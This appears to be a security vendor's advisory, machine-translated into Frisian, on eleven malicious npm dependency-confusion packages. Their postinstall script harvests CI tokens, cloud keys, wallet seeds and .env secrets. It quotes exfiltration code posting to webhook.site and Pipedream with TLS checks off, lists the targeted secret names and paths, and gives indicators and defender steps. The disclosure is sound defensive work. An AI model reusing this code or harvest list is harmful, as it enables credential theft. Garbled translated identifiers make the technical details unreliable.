CryptoDAO-betizing: npm-pakketten rispje CI/CD en Krypto-geheimen

CryptoDAO-betizing: alve npm-pakketten, ien lading, rispjen CI/CD en geheimen fan krypto-wallets

TL; DR

Op 17-06-2026 waard in inkele npm-akkount publisearre alve pakketten dy't ien doel en ien lading dieleTsien fan harren drage de cryptodao- foarheaksel (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); de alfde is de berikte @public-for-cdao/coreElk waard publisearre yn ferzje 99.99.99 en ferstjoert in byte-identike recon.js dat rint troch postinstall.

De nammen fertelle it ferhaal. Se lêze as de ynterne boublokken fan 'e privee toolchain fan in krypto/DAO-projekt. Publisearre yn it iepenbiere npm-register mei in keunstmjittich hege ferzje, sitte se te wachtsjen op in build. pipeline dat konfigurearre is om dy nammen op te lossen en dat iepenbiere npm berikt foar - of ynstee fan - it privee register. Dit is ôfhinklikensferwarring, en de lading is ôfstimd foar presys wêr't it ferwachtet te lânjen: CI/CD runners.

Wannear postinstall brânen, recon.js sammelet hostdetails, sweept rûchwei fjirtich wolk-, CI- en krypto-wallet-omjouwingsfariabelen, lêst elke .env bestannen dy't it fine kin en de geheime rigels letterlik trochstjoert, en dan de bondel nei twa samlers stjoert - webhook.site en in Pipedream-eindpunt - mei TLS-sertifikaatferifikaasje útskeakele. In kopy wurdt ek skreaun ûnder /tmp.

Ernst: heechBetroffen ekosysteem: npmAlle alve pakketten wiene live op it momint fan skriuwen.

Oanfalsanatomy

It meganisme hat fjouwer bewegende ûnderdielen, en gjinien fan harren is subtyl as jo ienris witte sjoch ien laach foarby de pakketnamme.

1. Ferzje-ynflaasje as in lokmiddel foar resolvers. Elk pakket ferklearret ferzje 99.99.99Ofhinklikensbetizing wurket as in pakketbehearder freget om in ynterne namme, kontrolearret ek it iepenbiere register en kiest de heechste ferzje fynt. De standertseleksje fan npm foar in karet- of wildcardberik is de heechst befredigjende ferzje oer elke konfigurearre boarne; as beide in privee register en iepenbier npm-antwurd foar deselde namme, wint it gruttere ferzjenûmer. A 99.99.99 oertreft yn essinsje elke echte ynterne ferzje dy't in projekt sil hawwe berikt, dus in resolver dy't net oan 'e privee boarne fêstmakke is, hat de foarkar foar de iepenbiere - en yn dit gefal fijannige - kopy. De operator hoecht de it echte ferzjenûmer fan it doel; it kiezen fan in absurd maksimum garandearret altyd de lykspul brekt harren wei.

2. In trigger nei ynstallaasje. pakket.json ferpleatst de lading nei de ynstallaasje libbenssyklus:

{   "scripts": { "postinstall": "node recon.js" } }

It ymportearjen fan it pakket is net fereaske. Allinnich it ynstallearjen - wat in CI is pipeline docht automatysk - rint recon.js.

3. In brede geheime sweep. recon.js stelt in resultatenarray yn stadia gear:

  • Hostkontekst: hostnamme, platfoarm en release, arsjitektuer, brûkersnamme, wurkjend directory.
  • Omjouwingsfariabelen: it iterearret in fêste list fan sawat fjirtich nammen en records elk dy't ynsteld is. De list is iepenbierjend - it kombinearret generike CI-tokens (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) en wolk ynloggegevens (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) mei register- en kontenergeheimen (NPM_TOKEN, DOCKER_WACHTWURD, HARBOR_PASSWORD) en in dúdlik krypto-smaaklik kluster:  PRIVATE_KAART, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KAART, ETH_RPC, BSC_RPCOpnommen wearden wurde ôfkoarte ta de earste 50 tekens.
  • .en V bestannen: it ûndersiket in list mei paden - .en V, ../.omjouwing, /app/.omjouwing, /app/backend/.omjouwing, /app/bot/.omjouwing, /thús/gitlab-runner/.omjouwing, /woartel/.omjouwing, en de .produksje/.ûntwikkeling farianten - en foar elk bestân dat bestiet, it filteret de ynhâld nei rigels dy't oerienkomme KAAI|GEHEIM|TOKEN|PAS|PRIVE|MNEMONISK en triuwt dy rigels **folslein, net ôfkoarte** yn 'e resultaten.
  • Build-host kontekst: it listet de earste 20 yngongen fan /bout/, /thús/gitlab-runner/bout/, /var/lib/gitlab-runner/, en / tmp /.

De padlist en fariabellist wurde weage nei GitLab-runners, wat wiist op de lading fjouwerkant by sels-hostede CI-ynfrastruktuer ynstee fan in ûntwikkelder laptop. It groepearjen fan 'e rispelist op kategory makket de bedoelde fangst dúdlik:

Kategory Fariabelen / paden berikt
CI/CD identiteit en ynset CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Wolk AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Register & kontener NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Dataopslach DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Krypto / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
messaging SLACK_TOKEN, DISCORD_TOKEN
Op skiif .env famylje + /home/gitlab-runner/.env, /root/.env, /app/**/.env; registerlisten fan /builds/, /var/lib/gitlab-runner/

It kryptokluster is it ûnderdiel dat dit ûnderskiedt fan in generyk CI-geheim sweep: wallet seed phrases en ûndertekeningskaaien ferskine allinich yn 'e omjouwing fan in blockchain-projekt, en se mappje direkt op 'e kryptodao-/teken/kontrakten nammejouwing fan 'e ferfierders.

4. Dûbele eksfiltraasje mei ferifikaasje útskeakele. De sammele array is serialisearre en POSTED nei twa bestimmingen:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

ôfwizeNet autorisearre: falsk skeakelt TLS-sertifikaatkontrôles út foar de útgeande oprop. Deselde gegevens wurde printe nei stdout (sadat it ek yn CI-taaklogs telâne komt) en skreaun oan /tmp/.npm_recon_ .jsonFlaters wurde stilswijend ferslokt, dus in mislearre ferstjoering lit gjin spoar efter yn 'e ynstallaasjeútfier bûten in inkele [rekonstruksje] ynstalleare op rigel.

In liedende opmerking yn it bestân beskriuwt it as in "Ofhinklikensbetizing" "Reconnaissance Payload." It ôfkoarten fan omjouwingswearden nei 50 tekens hat de foarm fan in bewiis fan konsept. Wat it foarby in allinich-oanwêzigens-beaken bringt, is de .en V ôfhanneling: geheime linen wurde folslein trochstjoerd, en de bestimmingen binne twa wurkjende, oanfaller-kontroleare kollektors ynstee fan in sink dy't allinich telt hits.

Timeline

It publisearringspatroan is de hantekening fan ien skripte push, net alve ûnôfhinklike uploads.

Tiid (UTC, 2026-06-17) Barren
03:24:58 cryptodao-bot@99.99.99 publisearre
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — scoped fariant, ~24 min letter

Tsien pakketten gongen binnen in finster fan 29 sekonden út, sawat ien elke trije sekonden. It berikte @publyk-foar-cdao/kearn folge sawat 24 minuten nei - in sekonde nammekonvinsje foar itselde doel, yn gefal it konsumearjende projekt ferwiist nei de ynterne toolchain ûnder in berik ynstee fan as bleate nammen.

Yndikatoaren fan kompromis

Type indicator
Collector hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Collector hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Heak ynstallearje postinstall: node recon.js
Triem dellein /tmp/.npm_recon_<timestamp>.json
Logmarker [recon] <pkg>@<ver> installed on <hostname> (stdout yn CI-logboeken)
Behavioraal rejectUnauthorized: false op útgeande HTTPS tidens ynstallaasje
Nuttelast recon.js, identyk oer alle alve pakketten (ien dielde build)
Ferzje 99.99.99 op elk pakket
Packages cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (alle 99.99.99)
Útjouwer aduljune / aduljune@proton.me (e-post net ferifiearre, gjin keppele boarne-opslach)

 Attribúsje en waarnommen gedrach

Alles oer it kluster wiist nei ien hân. Alle alve pakketten waarden publisearre troch it npm-akkount aduljune (aduljune@proton.me, in net-ferifiearre adres sûnder keppele boarnebewarplak), binnen in perioade fan 25 minuten, tagelyk 99.99.99 ferzje, ferstjoering fan in recon.js waans ynhâld byte-foar-byte identyk is oer elke pakket (MD5 komt oerien mei alle alve útpakte kopyen). Dat is ien lading op in list mei nammen stimpele, net ûnôfhinklik koadewerbrûk.

De nammelist definiearret it bedoelde doel. kryptodao-* en cdao beskriuwe de yndieling fan 'e privee module fan in krypto/DAO-projekt, en de rispingelist fan 'e payload spegels dy't riede: neist de generike CI en wolkgeheimen, it spesifyk berikt foar PRIVATE_KAART, MNEMONIC, SEED_PHRASE, en Ethereum/BSC RPC en providerkaaien. De .en V sykpaden en maplistings binne GitLab-runner spesifyk. It waarnimbere effekt is dat elke pipeline ferrifele om dizze te ynstallearjen nammen soene har CI-tokens, wolksleutels en op-skiif trochstjoere .en V geheimen - en, foar in blockchain-projekt, syn walletmateriaal - oan twa tredde partijen dy't sammelje.

Wy dogge gjin útspraak oer wa't it akkount beheart of wat se fan doel wiene mei de gegevens. De feiten dy't op harsels steane: de nammen rjochtsje har op in spesifyk soarte fan ynterne toolchain, de lading lêst en stjoert echte geheime wearden, en de ynfrastruktuer wie live.

Ynfloed, trends en begelieding fan ferdigeners

Ofhinklikens betizing bliuwt effektyf om't it gebrûk makket fan resolvergedrach, net in kwetsberens yn elk pakket. De drager hjir is triviaal - alve hast leech pakketten - mar de eksploazjeradius is wat dan ek pipeline jout ferkeard de foarkar oan iepenbiere npm foar in ynterne namme. CI-rinners binne de minste plak dêr't dat barre kin: se hâlde krekt de tokens en .en V bestannen dy't dizze lading lêst, en se ynstallearje ôfhinklikheden net-ynteraktyf, dus in nei ynstallaasje rint sûnder dat ien sjocht.

Dit kluster past ek by in patroan dat wy hieltyd sjogge: ynstallaasjetiid-loads dy't presintearje as "ûndersyk" of "ferkenning" wylst se echte autentikaasje sammelje. It label yn it bestân feroaret net wat de koade docht op in runner. Twa ûntwerpkeuzes hâlde de aktiviteit stil: elke netwurk- en bestânsysteemoperaasje is ynpakt yn in útsûnderingshandler dy't flaters fuortsmiten hat, dus in blokkearre ferstjoering of in ûntbrekkend bestân produseart gjin diagnostyske útfier, en it ienige dat printe wurdt is in inkele ûnskuldige [rekonstruksje] … ynstalleare rigel dy't oergiet yn normale ynstallaasjechatter. It gebrûk fan webhook.side en Pipedream is ek bewust gemak - beide binne fergees, direkt oanfrege-fêstlizzende tsjinsten, sadat de operator gjin servers nedich hat fan har eigen en de bestimmingen lykje op gewoane SaaS-hostnammen yn útgongslogs.

De ekonomyske aspekten meitsje dit de oandacht fan in ferdigener wurdich, nettsjinsteande de ferfierderkoade is triviaal. It registrearjen fan alve nammen kostet neat, de lading is ien bestân alve kear kopiearre, en de pakketbehearder docht alle útfiering. In inkele ferkeard ynsteld pipeline oeral dy't ien fan dizze nammen brûkt betellet foar it gehiel operaasje.

Konkrete stappen foar ferdigeners:

  • Pin ynterne scopes oan jo privee register. Konfigurearje npm sadat ynterne nammen
     en scopes wurde allinich oplost tsjin jo register (scoped .npmrc register mappings,
    of in proxy dy't nea trochfalt nei iepenbiere npm foar eigendom nammeromten). Reservearje jo iepenbiere beriknammen sadat nimmen oars se registrearje kin.
  • Commit lockfiles en ynstallearje mei –ignore-scripts yn CI wêr mooglik, of kontrolearje de lytse set ôfhinklikheden dy't echt ynstallaasjeskripts nedich binne.  recon.js kin net rinne as nei ynstallaasje wurdt net útfierd.
  • Behannelje in 99.99.99 (of oare absurd hege) ferzje fan in yntern útsjende namme as in reade flagge yn ôfhinklikheidsbeoardieling en registermonitoring.
  • Warskôging by útgong tidens ynstallaasje. A nei ynstallaasje dat iepenet in útgeande HTTPS ferbining - foaral mei sertifikaatferifikaasje útskeakele - nei webhook.site, Pipedream, of ferlykbere request-capture-tsjinsten is it wurdich om oan 'e râne fan it netwurk te blokkearjen en te markearjen yn buildlogs.
  • Sykje nei de artefakten. Kontrolearje rinners foar /tmp/.npm_recon_*.json en foar de [rekon] … ynstalleare op … marker yn resinte CI-logs. As fûn, draaie elke kwalifikaasje bleatsteld oan dat pipeline — CI-tokens, wolksleutels, registertokens, en alle wallet-seeds of priveesleutels dy't oanwêzich binne yn 'e omjouwing of .env-bestannen.

Referinsjes

Op it momint fan skriuwen bestie der gjin eksterne rapportaazje oer dit kluster; de analyze hjirboppe is direkt basearre op 'e publisearre pakketynhâld

sca-tools-software-komposysje-analyse-ark
Prioritearje, ferhelpe en befeiligje jo softwarerisiko's
Krij jo fergese akkount.
Gjin kredytkaart nedich.

Befeiligje jo softwareûntwikkeling en levering

mei Xygeni Produkt Suite